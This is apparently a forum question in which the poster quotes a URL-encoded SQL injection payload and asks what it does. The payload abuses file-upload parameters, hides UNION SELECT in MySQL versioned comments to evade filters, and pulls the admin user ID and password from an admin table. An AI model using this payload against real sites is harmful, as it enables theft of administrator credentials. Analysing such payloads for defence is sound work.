title: SQL Injection assistance required
body: <p>I am trying to understand the below injection and what it is trying to do. What is it trying to get? The only portion I understand is the union and select part, but the full injection I am unsure of and need help understanding.  </p>
  
  <blockquote>
    <p>action=&amp;aid=1&amp;_FILES%5Btype%5D%5Btmp_name%5D=%5C%27%20or%20mid=@%60%5C%27%60%20/<em>!50000union</em>//<em>!50000select</em>/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+%60%23@__admin%60%20limit+0,1),5,6,7,8,9%23@%60%5C%27%60+&amp;_FILES%5Btype%5D%5Bname%5D=1.jpg&amp;_FILES%5Btype%5D%5Btype%5D=application/octet-stream&amp;_FILES%5Btype%5D%5Bsize%5D=4294</p>
  </blockquote>